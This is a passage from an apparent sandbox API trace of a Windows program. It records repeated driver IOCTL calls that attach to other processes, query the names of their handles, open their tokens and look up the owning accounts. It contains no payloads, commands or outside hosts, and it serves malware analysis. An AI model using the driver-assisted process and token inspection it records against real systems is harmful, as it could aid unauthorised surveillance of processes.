ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.812] ObfDereferenceObject (Object=0xfffffa8002015170) returned 0x1 [0122.812] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.812] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.812] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.812] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0122.812] PsLookupProcessByProcessId (in: ProcessId=0x3a4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.812] PsAcquireProcessExitSynchronization () returned 0x0 [0122.812] KeStackAttachProcess (in: PROCESS=0xfffffa8002015b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002015b30, ApcState=0xfffff880044355d0) [0122.812] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0122.812] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.812] PsReleaseProcessExitSynchronization () returned 0x2 [0122.812] ObfDereferenceObject (Object=0xfffffa8002015b30) returned 0x10 [0122.812] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.812] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0122.812] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.812] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.812] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x54c) returned 0xc0 [0122.812] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0122.812] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa80020485e0, HandleInformation=0x0) returned 0x0 [0122.812] ObOpenObjectByPointer (in: Object=0xfffffa80020485e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff800009e8) returned 0x0 [0122.812] ObfDereferenceObject (Object=0xfffffa80020485e0) returned 0x12 [0122.812] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009e8, DesiredAccess=0x8, TokenHandle=0xfffffa80022554c0 | out: TokenHandle=0xfffffa80022554c0*=0xc8) returned 0x0 [0122.812] ZwClose (Handle=0xffffffff800009e8) returned 0x0 [0122.812] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.813] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0122.813] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0122.814] CloseHandle (hObject=0xc8) returned 1 [0122.814] CloseHandle (hObject=0xc0) returned 1 [0122.814] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.814] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0122.814] PsLookupProcessByProcessId (in: ProcessId=0x54c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.814] PsAcquireProcessExitSynchronization () returned 0x0 [0122.814] KeStackAttachProcess (in: PROCESS=0xfffffa80020485e0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80020485e0, ApcState=0xfffff880044355d0) [0122.814] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002048d00, HandleInformation=0x0) returned 0x0 [0122.814] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.814] PsReleaseProcessExitSynchronization () returned 0x2 [0122.814] ObfDereferenceObject (Object=0xfffffa80020485e0) returned 0x10 [0122.814] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002101044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8002101044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.814] ObfDereferenceObject (Object=0xfffffa8002048d00) returned 0x1 [0122.814] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.814] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.814] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.814] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x98, lpOverlapped=0x0) returned 1 [0122.814] PsLookupProcessByProcessId (in: ProcessId=0x54c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.815] PsAcquireProcessExitSynchronization () returned 0x0 [0122.815] KeStackAttachProcess (in: PROCESS=0xfffffa80020485e0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80020485e0, ApcState=0xfffff880044355d0) [0122.815] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800204eca0, HandleInformation=0x0) returned 0x0 [0122.815] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.815] PsReleaseProcessExitSynchronization () returned 0x2 [0122.815] ObfDereferenceObject (Object=0xfffffa80020485e0) returned 0x10 [0122.815] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020f1044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80020f1044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.815] ObfDereferenceObject (Object=0xfffffa800204eca0) returned 0x1 [0122.815] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.815] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.815] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.815] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0122.815] PsLookupProcessByProcessId (in: ProcessId=0x54c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.815] PsAcquireProcessExitSynchronization () returned 0x0 [0122.815] KeStackAttachProcess (in: PROCESS=0xfffffa80020485e0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80020485e0, ApcState=0xfffff880044355d0) [0122.815] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0122.815] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.815] PsReleaseProcessExitSynchronization () returned 0x2 [0122.815] ObfDereferenceObject (Object=0xfffffa80020485e0) returned 0x10 [0122.815] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.815] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0122.815] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.815] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.815] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x220) returned 0xc0 [0122.815] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0122.815] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa8001fc6060, HandleInformation=0x0) returned 0x0 [0122.815] ObOpenObjectByPointer (in: Object=0xfffffa8001fc6060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff800009e8) returned 0x0 [0122.815] ObfDereferenceObject (Object=0xfffffa8001fc6060) returned 0x12 [0122.815] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009e8, DesiredAccess=0x8, TokenHandle=0xfffffa80022554c0 | out: TokenHandle=0xfffffa80022554c0*=0xc8) returned 0x0 [0122.815] ZwClose (Handle=0xffffffff800009e8) returned 0x0 [0122.815] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.815] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0122.816] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0122.817] CloseHandle (hObject=0xc8) returned 1 [0122.817] CloseHandle (hObject=0xc0) returned 1 [0122.817] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.817] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0122.817] PsLookupProcessByProcessId (in: ProcessId=0x220, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.817] PsAcquireProcessExitSynchronization () returned 0x0 [0122.817] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc6060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001fc6060, ApcState=0xfffff880044355d0) [0122.817] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800204e730, HandleInformation=0x0) returned 0x0 [0122.817] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.817] PsReleaseProcessExitSynchronization () returned 0x2 [0122.817] ObfDereferenceObject (Object=0xfffffa8001fc6060) returned 0x10 [0122.817] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.817] ObfDereferenceObject (Object=0xfffffa800204e730) returned 0x1 [0122.817] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.817] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.817] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.817] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0122.817] PsLookupProcessByProcessId (in: ProcessId=0x220, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.817] PsAcquireProcessExitSynchronization () returned 0x0 [0122.817] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc6060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001fc6060, ApcState=0xfffff880044355d0) [0122.817] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800205dbb0, HandleInformation=0x0) returned 0x0 [0122.817] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.817] PsReleaseProcessExitSynchronization () returned 0x2 [0122.817] ObfDereferenceObject (Object=0xfffffa8001fc6060) returned 0x10 [0122.817] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.817] ObfDereferenceObject (Object=0xfffffa800205dbb0) returned 0x1 [0122.818] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.818] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.818] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.818] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0122.818] PsLookupProcessByProcessId (in: ProcessId=0x220, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.818] PsAcquireProcessExitSynchronization () returned 0x0 [0122.818] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc6060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001fc6060, ApcState=0xfffff880044355d0) [0122.818] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0122.818] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.818] PsReleaseProcessExitSynchronization () returned 0x2 [0122.818] ObfDereferenceObject (Object=0xfffffa8001fc6060) returned 0x10 [0122.818] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a05044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a05044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.818] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0122.818] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.818] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.818] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x248) returned 0xc0 [0122.818] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0122.818] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa8002065b30, HandleInformation=0x0) returned 0x0 [0122.818] ObOpenObjectByPointer (in: Object=0xfffffa8002065b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff800009e8) returned 0x0 [0122.818] ObfDereferenceObject (Object=0xfffffa8002065b30) returned 0x12 [0122.818] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009e8, DesiredAccess=0x8, TokenHandle=0xfffffa80022554c0 | out: TokenHandle=0xfffffa80022554c0*=0xc8) returned 0x0 [0122.818] ZwClose (Handle=0xffffffff800009e8) returned 0x0 [0122.818] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.818] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0122.818] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0122.820] CloseHandle (hObject=0xc8) returned 1 [0122.820] CloseHandle (hObject=0xc0) returned 1 [0122.820] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.820] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0122.820] PsLookupProcessByProcessId (in: ProcessId=0x248, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.820] PsAcquireProcessExitSynchronization () returned 0x0 [0122.820] KeStackAttachProcess (in: PROCESS=0xfffffa8002065b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002065b30, ApcState=0xfffff880044355d0) [0122.820] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800206eea0, HandleInformation=0x0) returned 0x0 [0122.820] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.820] PsReleaseProcessExitSynchronization () returned 0x2 [0122.820] ObfDereferenceObject (Object=0xfffffa8002065b30) returned 0x10 [0122.820] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.820] ObfDereferenceObject (Object=0xfffffa800206eea0) returned 0x1 [0122.820] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.820] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.820] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.820] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0122.820] PsLookupProcessByProcessId (in: ProcessId=0x248, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.820] PsAcquireProcessExitSynchronization () returned 0x0 [0122.820] KeStackAttachProcess (in: PROCESS=0xfffffa8002065b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002065b30, ApcState=0xfffff880044355d0) [0122.821] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800206e2b0, HandleInformation=0x0) returned 0x0 [0122.821] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.821] PsReleaseProcessExitSynchronization () returned 0x2 [0122.821] ObfDereferenceObject (Object=0xfffffa8002065b30) returned 0x10 [0122.821] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.821] ObfDereferenceObject (Object=0xfffffa800206e2b0) returned 0x1 [0122.821] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.821] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.821] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.821] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0122.821] PsLookupProcessByProcessId (in: ProcessId=0x248, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.821] PsAcquireProcessExitSynchronization () returned 0x0 [0122.821] KeStackAttachProcess (in: PROCESS=0xfffffa8002065b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002065b30, ApcState=0xfffff880044355d0) [0122.821] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0122.821] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.821] PsReleaseProcessExitSynchronization () returned 0x2 [0122.821] ObfDereferenceObject (Object=0xfffffa8002065b30) returned 0x10 [0122.821] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.821] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0122.821] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.821] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.821] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x80c) returned 0xc0 [0122.821] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0122.821] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa800208e520, HandleInformation=0x0) returned 0x0 [0122.821] ObOpenObjectByPointer (in: Object=0xfffffa800208e520, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff800009e8) returned 0x0 [0122.821] ObfDereferenceObject (Object=0xfffffa800208e520) returned 0x12 [0122.821] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009e8, DesiredAccess=0x8, TokenHandle=0xfffffa80022554c0 | out: TokenHandle=0xfffffa80022554c0*=0xc8) returned 0x0 [0122.821] ZwClose (Handle=0xffffffff800009e8) returned 0x0 [0122.822] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.822] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0122.822] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0122.823] CloseHandle (hObject=0xc8) returned 1 [0122.823] CloseHandle (hObject=0xc0) returned 1 [0122.823] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 